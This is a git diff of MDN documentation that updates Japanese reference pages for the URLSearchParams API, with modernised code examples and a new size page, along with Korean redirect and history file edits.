+console.log(searchParams.has("topic")); // true
+console.log(searchParams.has("topic", "fish")); // false
+console.log(searchParams.get("topic") === "api"); // true
+console.log(searchParams.getAll("topic")); // ["api"]
+console.log(searchParams.get("foo") === null); // true
+console.log(searchParams.append("topic", "webdev"));
+console.log(searchParams.toString()); // "q=URLUtils.searchParams&topic=api&topic=webdev"
+console.log(searchParams.set("topic", "More webdev"));
+console.log(searchParams.toString()); // "q=URLUtils.searchParams&topic=More+webdev"
+console.log(searchParams.delete("topic"));
+console.log(searchParams.toString()); // "q=URLUtils.searchParams"
+```
+
+```js
+// 検索パラメーターはオブジェクトにすることもできる
+const paramsObj = { foo: "bar", baz: "bar" };
+const searchParams = new URLSearchParams(paramsObj);
+
+console.log(searchParams.toString()); // "foo=bar&baz=bar"
+console.log(searchParams.has("foo")); // true
+console.log(searchParams.get("foo")); // "bar"
 ```
 
-### コラム
+### 重複する検索パラメーター
 
-`URLSearchParams` コンストラクターは完全な URL をパースしません。ただし、先頭に `?` が存在すれば、読み飛ばします。
+```js
+const paramStr = "foo=bar&foo=baz";
+const searchParams = new URLSearchParams(paramStr);
+
+console.log(searchParams.toString()); // "foo=bar&foo=baz"
+console.log(searchParams.has("foo")); // true
+console.log(searchParams.get("foo")); // bar （最初の値のみを返す）
+console.log(searchParams.getAll("foo")); // ["bar", "baz"]
+```
+
+### URL の解釈なし
+
+`URLSearchParams` コンストラクターは URL 全体を解釈しません。しかし、文字列から最初の `?` 以降が存在すれば、削除します。
 
 ```js
-var paramsString1 = "http://example.com/search?query=%40";
-var searchParams1 = new URLSearchParams(paramsString1);
+const paramsString1 = "http://example.com/search?query=%40";
+const searchParams1 = new URLSearchParams(paramsString1);
+
+console.log(searchParams1.has("query")); // false
+console.log(searchParams1.has("http://example.com/search?query")); // true
 
-searchParams1.has("query"); // false
-searchParams1.has("http://example.com/search?query"); // true
+console.log(searchParams1.get("query")); // null
+console.log(searchParams1.get("http://example.com/search?query")); // "@" （decodeURIComponent('%40') と同じ）
 
-searchParams1.get("query"); // null
-searchParams1.get("http://example.com/search?query"); // "@" (equivalent to decodeURIComponent('%40'))
+const paramsString2 = "?query=value";
+const searchParams2 = new URLSearchParams(paramsString2);
+console.log(searchParams2.has("query")); // true
+
+const url = new URL("http://example.com/search?query=%40");
+const searchParams3 = new URLSearchParams(url.search);
+console.log(searchParams3.has("query")); // true
+```
 
-var paramsString2 = "?query=value";
-var searchParams2 = new URLSearchParams(paramsString2);
-searchParams2.has("query"); // true
+### プラス記号の温存
 
-var url = new URL("http://example.com/search?query=%40");
-var searchParams3 = new URLSearchParams(url.search);
-searchParams3.has("query") // true
+`URLSearchParams` コンストラクターはプラス記号 (`+`) をスペースとして解釈します。以下の例では、[16 進エスケープシーケンス](/ja/docs/Web/JavaScript/Reference/Lexical_grammar#16_進エスケープシーケンス) を使って、URL 検索パラメーターに格納する必要のあるバイナリデータ（各バイトが情報を持つ）を含む文字列を模倣しています。`btoa()` でエンコードされた文字列は `+` を含んでおり、 `URLSearchParams` では温存されないことに注意してください。
+
+```js
+const rawData = "\x13à\x17@\x1F\x80";
+const base64Data = btoa(rawData); // 'E+AXQB+A'
+
+const searchParams = new URLSearchParams(`bin=${base64Data}`); // 'bin=E+AXQB+A'
+const binQuery = searchParams.get("bin"); // 'E AXQB A', '+' はスペースに置き換えられる
+
+console.log(atob(binQuery) === rawData); // false
+```
+
+You can avoid this by encoding the data with the {{jsxref("encodeURIComponent", "encodeURIComponent()")}}.
+
+```js
+const rawData = "\x13à\x17@\x1F\x80";
+const base64Data = btoa(rawData); // 'E+AXQB+A'
+const encodedBase64Data = encodeURIComponent(base64Data); // 'E%2BAXQB%2BA'
+
+const searchParams = new URLSearchParams(`bin=${encodedBase64Data}`); // 'bin=E%2BAXQB%2BA'
+const binQuery = searchParams.get("bin"); // 'E+AXQB+A'
+
+console.log(atob(binQuery) === rawData); // true
+```
+
+### 空の値と値なし
+
+`URLSearchParams` は `=` の後に何もないパラメーターと、`=` もないパラメーターの区別をしません。
+
+```js
+const emptyVal = new URLSearchParams("foo=&bar=baz");
+console.log(emptyVal.get("foo")); // returns ''
+const noEquals = new URLSearchParams("foo&bar=baz");
+console.log(noEquals.get("foo")); // also returns ''
+console.log(noEquals.toString()); // 'foo=&bar=baz'
 ```
 
 ## 仕様書
@@ -100,9 +171,10 @@ searchParams3.has("query") // true
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams")}}
+{{Compat}}
 
 ## 関連情報
 
+- [`URLSearchParams` のポリフィル (`core-js`)](https://github.com/zloirock/core-js#url-and-urlsearchparams)
 - {{domxref("URL")}} インターフェイス。
-- [Google Developers: URLSearchParams を使用した簡単な URL 操作](https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en) (英語)
+- [Google Developers: URLSearchParams を使用した簡単な URL 操作](https://developer.chrome.com/blog/urlsearchparams/) (英語)
diff --git a/files/ja/web/api/urlsearchparams/keys/index.md b/files/ja/web/api/urlsearchparams/keys/index.md
index 05bbfd2fc70b81..085f633303e61d 100644
--- a/files/ja/web/api/urlsearchparams/keys/index.md
+++ b/files/ja/web/api/urlsearchparams/keys/index.md
@@ -1,55 +1,58 @@
 ---
-title: URLSearchParams.keys()
+title: "URLSearchParams: keys() メソッド"
+short-title: keys()
 slug: Web/API/URLSearchParams/keys
+l10n:
+  sourceCommit: 592f6ec42e54981b6573b58ec0343c9aa8cbbda8
 ---
 
 {{APIRef("URL API")}}
 
-{{domxref("URLSearchParams")}} インターフェイスの **`keys()`** メソッドは、このオブジェクトに含まれるすべてのキーを反復処理できる {{jsxref("Iteration_protocols",'iterator')}} を返します。 キーは {{domxref("USVString")}} オブジェクトです。
+**`keys()`** は {{domxref("URLSearchParams")}} インターフェイスのメソッドで、このオブジェクトに含まれるすべてのキーを反復処理できる{{jsxref("Iteration_protocols",'イテレーター')}}を返します。 キーは文字列です。
 
-{{availableinworkers}}
+> **メモ:** このメソッドは[ウェブワーカー](/ja/docs/Web/API/Web_Workers_API)で利用できます。
 
 ## 構文
 
-```
-searchParams.keys();
+```js-nolint
+keys()
 ```
 
-### パラメーター
+### 引数
 
 なし。
 
-### 戻り値
+### 返値
 
-{{jsxref("Iteration_protocols","iterator")}} を返します。
+{{jsxref("Iteration_protocols","イテレーター")}}を返します。
 
 ## 例
 
 ```js
 // テスト用の URLSearchParams オブジェクトの作成
-var searchParams = new URLSearchParams("key1=value1&key2=value2");
+const searchParams = new URLSearchParams("key1=value1&key2=value2");
 
 // キーの表示
-for(var key of searchParams.keys()) {
+for (const key of searchParams.keys()) {
   console.log(key);
 }
 ```
 
 結果は次のとおりです。
 
-```
+```plain
 key1
 key2
 ```
 
-## 仕様
+## 仕様書
 
 {{Specifications}}
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams.keys")}}
+{{Compat}}
 
 ## 関連項目
 
-- {{domxref("URL")}} インターフェイス。
+- {{domxref("URL")}} インターフェイス
diff --git a/files/ja/web/api/urlsearchparams/set/index.md b/files/ja/web/api/urlsearchparams/set/index.md
index 1a9b2f0cc3fc30..8c07626a88c96d 100644
--- a/files/ja/web/api/urlsearchparams/set/index.md
+++ b/files/ja/web/api/urlsearchparams/set/index.md
@@ -1,102 +1,49 @@
 ---
-title: URLSearchParams.set()
+title: "URLSearchParams: set() メソッド"
+short-title: set()
 slug: Web/API/URLSearchParams/set
+l10n:
+  sourceCommit: 0c8a320b035cf625c1df67713a94ead2e7f3aec6
 ---
 
 {{ApiRef("URL API")}}
 
-{{domxref("URLSearchParams")}} インターフェイスの **`set()`** メソッドは、指定された検索パラメーターに関連付けられた値を指定された値に設定します。 一致する値が複数ある場合、このメソッドは他の値を削除します。 検索パラメーターが存在しない場合、このメソッドはそれを作成します。
+**`set()`** は {{domxref("URLSearchParams")}} インターフェイスのメソッドで、指定された検索パラメーターに関連付けられた値を指定された値に設定します。一致する値が複数ある場合、このメソッドは他の値を削除します。 検索パラメーターが存在しない場合、このメソッドはそれを作成します。
 
 {{availableinworkers}}
 
 ## 構文
 
-```
-URLSearchParams.set(name, value)
+```js-nolint
+set(name, value)
 ```
 
-### パラメーター
+### 引数
 
-- name
+- `name`
   - : 設定するパラメーターの名前。
-- value
+- `value`
   - : 設定するパラメーターの値。
 
-### 戻り値
+### 返値
 
-無効。
+なし ({{jsxref("undefined")}})。
 
 ## 例
 
-次の簡単な例から始めましょう。
-
 ```js
-let url = new URL('https://example.com?foo=1&bar=2');
-let params = new URLSearchParams(url.search.slice(1));
-
-// 3番目のパラメーターを追加します。
-params.set('baz', 3);
-```
+let url = new URL("https://example.com?foo=1&bar=2");
+let params = new URLSearchParams(url.search);
 
-以下は、{{domxref("URL")}} を作成し、いくつかの検索パラメーターを設定する方法を示す実際の例です。
-
-[スクラッチパッド](/ja/docs/Tools/Scratchpad)に例をコピーして貼り付けることができます。
-
-- 41 行目：コンソールへの (debug による) 検索パラメーターのダンプを停止するにはコメントにします。
-- 43 行目：生成されたオブジェクトとその文字列表現をコンソールに (info で) ダンプします。
-- 44 行目：生成された URL で新しいウィンドウ/タブを自動的に開こうとします（コメントが解除されている場合）。
-
-```js
-'use strict'
-
-function genURL(rExp, aText, bDebug=false){
-  let theURL
-
-  theURL= new URL('https://regexr.com')
-  theURL.searchParams.set( 'expression', rExp.toString() )
-  theURL.searchParams.set( 'tool', 'replace' )
-  theURL.searchParams.set( 'input', '\u2911\u20dc' )// ⤑⃜
-  theURL.searchParams.set( 'text', aText.join('\n') )
-  if( bDebug ){
-    // キー/値のペアを表示
-    for(var pair of theURL.searchParams.entries()) {
-      console.debug(pair[0] + ' = \'' + pair[1] + '\'');
-    }
-    console.debug(theURL)
-  }
-  return theURL
-}
-var url = genURL(
-  /(^\s*\/\/|\s*[^:]\/\/).*\s*$|\s*\/\*(.|\n)+?\*\/\s*$/gm  // 単一行/複数行のコメント
-  // /(^\s*\/\/.*|\s*[^:]\/\/.*)/g                // 単一行のコメント
-  ,[
-    "これらは動作します:",
-    "",
-    "// eslint-disable-next-line no-unused-vars",
-    "lockPref(  'keyword.URL',\t\t'https://duckduckgo.com/html/?q=!+'  )\t//      test",
-    "/*",
-    "  * bla bla    ",
-    "*/",
-    "",
-    "/* bla bla */",
-    "",
-    "// bla bla ",
-    "",
-    "これらは動作しません:",
-    "console.log(\"http://foo.co.uk/\")",
-    "var url = \"http://regexr.com/foo.html?q=bar\"",
-    "alert(\"https://mediatemple.net\")",
-  ]
-  , true
-)
-console.info( url, url.toString() )
-// window.open( url, 'regex_site' )
+// 3 つ目のパラメーターを追加
+params.set("baz", 3);
+params.toString(); // "foo=1&bar=2&baz=3"
 ```
 
-## 仕様
+## 仕様書
 
 {{Specifications}}
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams.set")}}
+{{Compat}}
diff --git a/files/ja/web/api/urlsearchparams/size/index.md b/files/ja/web/api/urlsearchparams/size/index.md
new file mode 100644
index 00000000000000..389441cc2e5b37
--- /dev/null
+++ b/files/ja/web/api/urlsearchparams/size/index.md
@@ -0,0 +1,57 @@
+---
+title: "URLSearchParams: size プロパティ"
+short-title: size
+slug: Web/API/URLSearchParams/size
+l10n:
+  sourceCommit: acfe8c9f1f4145f77653a2bc64a9744b001358dc
+---
+
+{{APIRef("URL API")}}
+
+**`URLSearchParams.size`** は読み取り専用のプロパティで、検索パラメーターの項目の総数を示します。
+
+## 値
+
+数値で、{{domxref("URLSearchParams")}} オブジェクト内の検索パラメーターの項目の総数を示します。
+
+## 例
+
+### 検索パラメーターの項目数の取得
+
+検索パラメーターの項目の総数を取得するには、次のようにします。
+
+```js
+const searchParams = new URLSearchParams("c=4&a=2&b=3&a=1");
+searchParams.size; // 4
+```
+
+`a` 引数が 2 回与えられますが、 `size` は 3 ではなく、与えられたすべての項目の数 (4) を返すことに注意してください。固有のキーの数を取得するには、{{jsxref("Set")}} などを使用してください。
+
+```js
+[...new Set(searchParams.keys())].length; // 3
+```
+
+### 検索パラメーターが存在するかどうかをチェック
+
+size` プロパティは、検索パラメーターがあるかどうかをチェックするのに便利です。
+
+```js
+const url = new URL("https://example.com?foo=1&bar=2");
+
+if (url.searchParams.size) {
+  console.log("URL has search parameters!");
+}
+```
+
+## 仕様書
+
+{{Specifications}}
+
+## ブラウザーの互換性
+
+{{Compat}}
+
+## 関連情報
+
+- {{domxref("URL.searchParams")}}
+- [`URLSearchParams` のポリフィル (`core-js`)](https://github.com/zloirock/core-js#url-and-urlsearchparams)
diff --git a/files/ja/web/api/urlsearchparams/sort/index.md b/files/ja/web/api/urlsearchparams/sort/index.md
index 4e43fc6a2abd83..f9bd86be3235ce 100644
--- a/files/ja/web/api/urlsearchparams/sort/index.md
+++ b/files/ja/web/api/urlsearchparams/sort/index.md
@@ -1,33 +1,36 @@
 ---
-title: URLSearchParams.sort()
+title: "URLSearchParams: sort() メソッド"
+short-title: sort()
 slug: Web/API/URLSearchParams/sort
+l10n:
+  sourceCommit: 0c8a320b035cf625c1df67713a94ead2e7f3aec6
 ---
 
 {{APIRef("URL API")}}
 
-**`URLSearchParams.sort()`** メソッドは、このオブジェクトに含まれるすべてのキー/値のペアをその場でソートし、`undefined` を返します。 ソート順は、キーの Unicode コードポイントに従っています。 このメソッドは、安定したソートアルゴリズムを使用します（つまり、等しいキーを持つキー/値のペア間の相対的な順序が保持されます）。
+**`URLSearchParams.sort()`** メソッドは、このオブジェクトに含まれるすべてのキー/値のペアをその場でソートし、`undefined` を返します。 ソート順は、キーの Unicode コードポイントに従います。 このメソッドは、安定したソートアルゴリズムを使用します（つまり、等しいキーを持つキー/値のペア間の相対的な順序が保持されます）。
 
 {{availableinworkers}}
 
 ## 構文
 
-```
-searchParams.sort();
+```js-nolint
+sort()
 ```
 
-### パラメーター
+### 引数
 
 なし。
 
-### 戻り値
+### 返値
 
-`undefined`。
+なし ({{jsxref("undefined")}})。
 
 ## 例
 
 ```js
 // テスト用の URLSearchParams オブジェクトの作成
-var searchParams = new URLSearchParams("c=4&a=2&b=3&a=1");
+const searchParams = new URLSearchParams("c=4&a=2&b=3&a=1");
 
 // キー/値のペアのソート
 searchParams.sort();
@@ -38,14 +41,14 @@ console.log(searchParams.toString());
 
 結果は次のとおりです。
 
-```
+```plain
 a=2&a=1&b=3&c=4
 ```
 
-## 仕様
+## 仕様書
 
 {{Specifications}}
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams.sort")}}
+{{Compat}}
diff --git a/files/ja/web/api/urlsearchparams/tostring/index.md b/files/ja/web/api/urlsearchparams/tostring/index.md
index 25048fa60ce1ce..a5e73fea3f0135 100644
--- a/files/ja/web/api/urlsearchparams/tostring/index.md
+++ b/files/ja/web/api/urlsearchparams/tostring/index.md
@@ -1,58 +1,53 @@
 ---
-title: URLSearchParams.toString()
+title: "URLSearchParams: toString() メソッド"
+short-title: toString()
 slug: Web/API/URLSearchParams/toString
+l10n:
+  sourceCommit: 0c8a320b035cf625c1df67713a94ead2e7f3aec6
 ---
 
 {{ApiRef("URL API")}}
 
-{{domxref("URLSearchParams")}} インターフェイスの **`toString()`** メソッドは、URL での使用に適したクエリー文字列を返します。
+**`toString()`** は {{domxref("URLSearchParams")}} インターフェイスのメソッドで、URL での使用に適したクエリー文字列を返します。
 
-> **メモ:** このメソッドは、疑問符のないクエリー文字列を返します。 これは、それを含む [`window.location.search`](/ja/docs/Web/API/HTMLHyperlinkElementUtils/search) とは異なります。
+> **メモ:** このメソッドは、疑問符のないクエリー文字列を返します。これは、それを含む [window.location.search](/ja/docs/Web/API/HTMLAnchorElement/search) とは異なります。
 
 {{availableinworkers}}
 
 ## 構文
 
-```
-URLSearchParams.toString()
+```js-nolint
+toString()
 ```
 
-### パラメーター
+### 引数
 
 なし。
 
-### 戻り値
+### 返値
 
-疑問符のない {{domxref("DOMString")}}。
+疑問符を除いた文字列です。（検索パラメーターが設定されていない場合は空文字列を返します。）
 
 ## 例
 
 ```js
-let url = new URL('https://example.com?foo=1&bar=2');
-let params = new URLSearchParams(url.search.slice(1));
+const url = new URL("https://example.com?foo=1&bar=2");
+const params = new URLSearchParams(url.search);
 
 // 2番目の foo パラメーターの追加
-params.append('foo', 4);
-console.log(params.toString());
-// 'foo=1&bar=2&foo=4' を表示
-
-// メモ: params は直接作成することもできます
-let url = new URL('https://example.com?foo=1&bar=2');
-let params = url.searchParams;
-
-// または、さらに単純に
-let params = new URLSearchParams('foo=1&bar=2');
+params.append("foo", 4);
+console.log(params.toString()); // 'foo=1&bar=2&foo=4' と表示
 ```
 
-## 仕様
+## 仕様書
 
 {{Specifications}}
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams.toString")}}
+{{Compat}}
 
 ## 関連項目
 
 - {{domxref("URL")}} インターフェイス。
-- [Google Developers: URLSearchParams を使用した簡単な URL 操作](https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en)（英語）
+- [Google Developers: URLSearchParams を使用した簡単な URL 操作](https://developer.chrome.com/blog/urlsearchparams/)（英語）
diff --git a/files/ja/web/api/urlsearchparams/urlsearchparams/index.md b/files/ja/web/api/urlsearchparams/urlsearchparams/index.md
index de5f0e7c4fa94f..652ae1ae3b20b0 100644
--- a/files/ja/web/api/urlsearchparams/urlsearchparams/index.md
+++ b/files/ja/web/api/urlsearchparams/urlsearchparams/index.md
@@ -1,8 +1,9 @@
 ---
-title: URLSearchParams()
+title: "URLSearchParams: URLSearchParams() コンストラクター"
+short-title: URLSearchParams()
 slug: Web/API/URLSearchParams/URLSearchParams
 l10n:
-  sourceCommit: 670c6c5b8d75ed18722a10aecf657b7f41ecd78e
+  sourceCommit: acfe8c9f1f4145f77653a2bc64a9744b001358dc
 ---
 
 {{ApiRef("URL API")}}
@@ -18,15 +19,15 @@ new URLSearchParams()
 new URLSearchParams(options)
 ```
 
-### パラメーター
+### 引数
 
 - `options` {{optional_inline}}
   - : 以下のいずれか。
     - 文字列。先頭の文字 `'?'` は無視され、`application/x-www-form-urlencoded` 形式としてパースされます。
-    - 名前を表す文字列と値を表す文字列のペアのリテラル列、もしくはそのような文字列のペアの列を生成する[イテレーター](/ja/docs/Web/JavaScript/Guide/Iterators_and_Generators#%E3%82%A4%E3%83%86%E3%83%AC%E3%83%BC%E3%82%BF%E3%83%BC)を持つ任意のオブジェクト (たとえば {{domxref("FormData")}} のオブジェクト)。なお、{{domxref("File")}} のエントリーは (`application/x-www-form-urlencoded` 形式で期待される) ファイル名ではなく `[object File]` としてシリアライズされます。
+    - 名前を表す文字列と値を表す文字列のペアのリテラル列、もしくはそのような文字列のペアの列を生成する[イテレーター](/ja/docs/Web/JavaScript/Guide/Iterators_and_generators#%E3%82%A4%E3%83%86%E3%83%AC%E3%83%BC%E3%82%BF%E3%83%BC)を持つ任意のオブジェクト（たとえば {{domxref("FormData")}} のオブジェクト）。なお、{{domxref("File")}} のエントリーは（`application/x-www-form-urlencoded` 形式で期待される）ファイル名ではなく `[object File]` としてシリアライズされます。
     - 文字列のキーと文字列の値からなるレコード。なお、ネストには対応していません。
 
-### 戻り値
+### 返値
 
 {{domxref("URLSearchParams")}} のインスタンスです。
 
@@ -36,27 +37,30 @@ new URLSearchParams(options)
 
 ```js
 // url.search からパラメーターを取得し、コンストラクターに渡す
-const url = new URL('https://example.com?foo=1&bar=2');
+const url = new URL("https://example.com?foo=1&bar=2");
 const params1 = new URLSearchParams(url.search);
 
 // URL オブジェクトから直接 URLSearchParams オブジェクトを取得する
-const params1a = url.searchParams
+const params1a = url.searchParams;
 
 // 文字列リテラルを渡す
 const params2 = new URLSearchParams("foo=1&bar=2");
 const params2a = new URLSearchParams("?foo=1&bar=2");
 
 // ペアの列を渡す
-const params3 = new URLSearchParams([["foo", "1"], ["bar", "2"]]);
+const params3 = new URLSearchParams([
+  ["foo", "1"],
+  ["bar", "2"],
+]);
 
 // レコードを渡す
-const params4 = new URLSearchParams({"foo": "1", "bar": "2"});
+const params4 = new URLSearchParams({ foo: "1", bar: "2" });
 ```
 
 この例では、検索パラメーターを持つ既存の URL から、検索パラメーターを表すオブジェクトを用い、新しい URL を構築する方法を示します。
 
 ```js
-const url = new URL('https://example.com/?a=hello&b=world');
+const url = new URL("https://example.com/?a=hello&b=world");
 
 console.log(url.href);
 // https://example.com/?a=hello&b=world
@@ -65,14 +69,14 @@ console.log(url.origin);
 // https://example.com
 
 const add_params = {
-    c: 'a',
-    d: new String(2),
-    e: false.toString(),
-}
+  c: "a",
+  d: new String(2),
+  e: false.toString(),
+};
 
 const new_params = new URLSearchParams([
-    ...Array.from(url.searchParams.entries()), // [["a","hello"],["b","world"]]
-    ...Object.entries(add_params), // [["c","a"],["d","2"],["e","false"]]
+  ...Array.from(url.searchParams.entries()), // [["a","hello"],["b","world"]]
+  ...Object.entries(add_params), // [["c","a"],["d","2"],["e","false"]]
 ]).toString();
 console.log(new_params);
 // a=hello&b=world&c=a&d=2&e=false
@@ -82,18 +86,17 @@ const new_url = new URL(`${url.origin}${url.pathname}?${new_params}`);
 console.log(new_url.href);
 // https://example.com/?a=hello&b=world&c=a&d=2&e=false
 
-
 // (URL, Record<string, string>) を受け取る関数の形式で
 const addSearchParams = (url, params = {}) =>
   new URL(
     `${url.origin}${url.pathname}?${new URLSearchParams([
       ...Array.from(url.searchParams.entries()),
       ...Object.entries(params),
-    ])}`
+    ])}`,
   );
 ```
 
-## 仕様
+## 仕様書
 
 {{Specifications}}
 
diff --git a/files/ja/web/api/urlsearchparams/values/index.md b/files/ja/web/api/urlsearchparams/values/index.md
index 54ca996b431ef2..b3e2880bbc5da2 100644
--- a/files/ja/web/api/urlsearchparams/values/index.md
+++ b/files/ja/web/api/urlsearchparams/values/index.md
@@ -1,55 +1,72 @@
 ---
-title: URLSearchParams.values()
+title: "URLSearchParams: values() メソッド"
+short-title: values()
 slug: Web/API/URLSearchParams/values
+l10n:
+  sourceCommit: 592f6ec42e54981b6573b58ec0343c9aa8cbbda8
 ---
 
 {{APIRef("URL API")}}
 
-{{domxref("URLsearchParams")}} インターフェースの **`values()`** メソッドは、このオブジェクトに含まれるすべての値を反復処理できる {{jsxref("Iteration_protocols",'iterator')}} を返します。 値は {{domxref("USVString")}} オブジェクトです。
+**`values()`** は {{domxref("URLsearchParams")}} インターフェイスのメソッドで、このオブジェクトに含まれるすべての値を反復処理できる{{jsxref("Iteration_protocols",'イテレーター')}}を返します。 値は文字列です。
 
 {{availableinworkers}}
 
 ## 構文
 
-```
-searchParams.values();
+```js-nolint
+values()
 ```
 
-### パラメーター
+### 引数
 
 なし。
 
-### 戻り値
+### 返値
 
-{{jsxref("Iteration_protocols","iterator")}} を返します。
+{{jsxref("Iteration_protocols","イテレーター")}}を返します。
 
 ## 例
 
+次の例では、`URLSearchParams` コンストラクターに URL 検索文字列を渡し、`values()` が返すイテレーターを使って値をコンソールに表示します。
+
 ```js
-// テスト用の URLSearchParams オブジェクトの作成
-var searchParams = new URLSearchParams("key1=value1&key2=value2");
+const searchParams = new URLSearchParams("key1=value1&key2=value2");
 
-// 値の表示
-for(var value of searchParams.values()) {
+for (const value of searchParams.values()) {
   console.log(value);
 }
 ```
 
 結果は次のとおりです。
 
-```
+```plain
 value1
 value2
 ```
 
-## 仕様
+この例も上記とほぼ同じですが、先にイテレーターを配列にキャストしています。
+
+```js
+const searchParams = new URLSearchParams("key1=value1&key2=value2");
+
+console.log(Array.from(searchParams.values()));
+```
+
+結果は次の通りです。
+
+```plain
+['value1', 'value2']
+```
+
+## 仕様書
 
 {{Specifications}}
 
 ## ブラウザーの互換性
 
-{{Compat("api.URLSearchParams.values")}}
+{{Compat}}
 
-## 関連項目
+## 関連情報
 
-- {{domxref("URL")}} インターフェイス。
+- {{domxref("URL")}} インターフェイス
diff --git a/files/ko/_redirects.txt b/files/ko/_redirects.txt
index b72a975e2958ed..2a6de35bd180fd 100644
--- a/files/ko/_redirects.txt
+++ b/files/ko/_redirects.txt
@@ -12,10 +12,8 @@
 /ko/docs/About_the_Document_Object_Model	/ko/docs/Web/API/Document_Object_Model
 /ko/docs/Accessibility	/ko/docs/Web/Accessibility
 /ko/docs/Accessibility/ARIA	/ko/docs/Web/Accessibility/ARIA
-/ko/docs/Accessibility/An_overview_of_accessible_web_applications_and_widgets	/ko/docs/Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets
 /ko/docs/Alternative_style_sheets	/ko/docs/Web/CSS/Alternative_style_sheets
 /ko/docs/Apps/Progressive	/ko/docs/Web/Progressive_web_apps
-/ko/docs/Apps/Progressive/Add_to_home_screen	/ko/docs/Web/Progressive_web_apps/Guides/Making_PWAs_installable
 /ko/docs/Apps/Progressive/App_structure	/ko/docs/Web/Progressive_web_apps/Tutorials/js13kGames/App_structure
 /ko/docs/Apps/Progressive/Installable_PWAs	/ko/docs/Web/Progressive_web_apps/Tutorials/js13kGames/Installable_PWAs
 /ko/docs/Apps/Progressive/Offline_Service_workers	/ko/docs/Web/Progressive_web_apps/Tutorials/js13kGames/Offline_Service_workers
@@ -333,7 +331,6 @@
 /ko/docs/Learn/접근성	/ko/docs/Learn/Accessibility
 /ko/docs/Learn/접근성/HTML	/ko/docs/Learn/Accessibility/HTML
 /ko/docs/Learn/접근성/What_is_accessibility	/ko/docs/Learn/Accessibility/What_is_accessibility
-/ko/docs/Learn/접근성/모바일	/ko/docs/Learn/Accessibility/Mobile
 /ko/docs/Localization	/ko/docs/Glossary/Localization
 /ko/docs/MDN/About	/ko/docs/MDN/Writing_guidelines
 /ko/docs/MDN/Contribute/Content/Best_practices	/ko/docs/MDN/Writing_guidelines/Experimental_deprecated_obsolete
@@ -818,7 +815,6 @@
 /ko/docs/Web/Media/Formats/코덱파라미터	/ko/docs/Web/Media/Formats/codecs_parameter
 /ko/docs/Web/Performance/브라우저는_어떻게_동작하는가	/ko/docs/Web/Performance/How_browsers_work
 /ko/docs/Web/Performance/중요_렌더링_경로	/ko/docs/Web/Performance/Critical_rendering_path
-/ko/docs/Web/Progressive_web_apps/Add_to_home_screen	/ko/docs/Web/Progressive_web_apps/Guides/Making_PWAs_installable
 /ko/docs/Web/Progressive_web_apps/App_structure	/ko/docs/Web/Progressive_web_apps/Tutorials/js13kGames/App_structure
 /ko/docs/Web/Progressive_web_apps/Installable_PWAs	/ko/docs/Web/Progressive_web_apps/Tutorials/js13kGames/Installable_PWAs
 /ko/docs/Web/Progressive_web_apps/Introduction	/ko/docs/Web/Progressive_web_apps/Tutorials/js13kGames
diff --git a/files/ko/_wikihistory.json b/files/ko/_wikihistory.json
index c683b4d182a65e..4e635cb761e4e1 100644
--- a/files/ko/_wikihistory.json
+++ b/files/ko/_wikihistory.json
@@ -735,10 +735,6 @@
     "modified": "2020-07-16T22:40:12.947Z",
     "contributors": ["dev-dongwon"]
   },
-  "Learn/Accessibility/Mobile": {
-    "modified": "2020-07-16T22:40:31.872Z",
-    "contributors": ["seunghun"]
-  },
   "Learn/Accessibility/What_is_accessibility": {
     "modified": "2020-07-16T22:40:05.805Z",
     "contributors": ["seunghun"]
@@ -4688,26 +4684,10 @@
     "modified": "2020-01-12T10:16:30.044Z",
     "contributors": ["alattalatta", "young-gratia", "teoli", "Cho.Eun"]
   },
-  "Web/Accessibility/ARIA/ARIA_Live_Regions": {
-    "modified": "2020-12-05T03:30:43.763Z",
-    "contributors": ["movegun1027"]
-  },
-  "Web/Accessibility/ARIA/ARIA_Techniques": {
-    "modified": "2020-01-12T02:25:07.876Z",
-    "contributors": ["alattalatta", "dcondrey"]
-  },
   "Web/Accessibility/ARIA/Roles": {
     "modified": "2019-03-18T21:24:18.888Z",
     "contributors": ["estelle"]
   },
-  "Web/Accessibility/ARIA/Roles/dialog_role": {
-    "modified": "2019-03-18T21:24:31.941Z",
-    "contributors": ["seokju-na"]
-  },
-  "Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets": {
-    "modified": "2019-03-23T23:21:28.496Z",
-    "contributors": ["dotorify", "teoli", "Cho.Eun"]
-  },
   "Web/Accessibility/Mobile_accessibility_checklist": {
     "modified": "2019-09-08T04:58:59.841Z",
     "contributors": ["seunghun"]
@@ -4893,10 +4873,6 @@
     "modified": "2020-10-15T21:50:30.795Z",
     "contributors": ["alattalatta", "young-gratia"]
   },
-  "Web/CSS/CSS_Selectors": {
-    "modified": "2020-08-22T11:28:21.089Z",
-    "contributors": ["alattalatta"]
-  },
   "Web/CSS/CSS_Types": {
     "modified": "2020-08-06T04:37:09.952Z",
     "contributors": ["alattalatta"]
@@ -5197,6 +5173,10 @@
     "modified": "2019-04-14T23:39:58.448Z",
     "contributors": ["alattalatta", "Netaras"]
   },
+  "Web/CSS/CSS_selectors": {
+    "modified": "2020-08-22T11:28:21.089Z",
+    "contributors": ["alattalatta"]
+  },
   "Web/CSS/CSS_shapes": {
     "modified": "2019-04-25T10:46:18.309Z",
     "contributors": ["alattalatta", "seunghun", "Netaras"]
@@ -6102,22 +6082,10 @@
   "Web/Guide/Audio_and_video_delivery": {
     "modified": "2019-04-17T05:03:01.108Z"
   },
-  "Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video": {
-    "modified": "2019-05-13T05:46:53.607Z",
-    "contributors": ["hoony"]
-  },
-  "Web/Guide/CSS/Block_formatting_context": {
-    "modified": "2020-08-05T00:58:44.120Z",
-    "contributors": ["alattalatta", "moolow", "corps99"]
-  },
   "Web/Guide/Graphics": {
     "modified": "2020-02-15T07:39:57.101Z",
     "contributors": ["Netaras", "hyeonseok", "narae_lee"]
   },
-  "Web/Guide/Mobile": {
-    "modified": "2019-05-30T06:59:50.297Z",
-    "contributors": ["SDSkyKlouD", "Seia-Soto", "xfq"]
-  },
   "Web/Guide/Parsing_and_serializing_XML": {
     "modified": "2019-03-23T22:16:47.020Z",
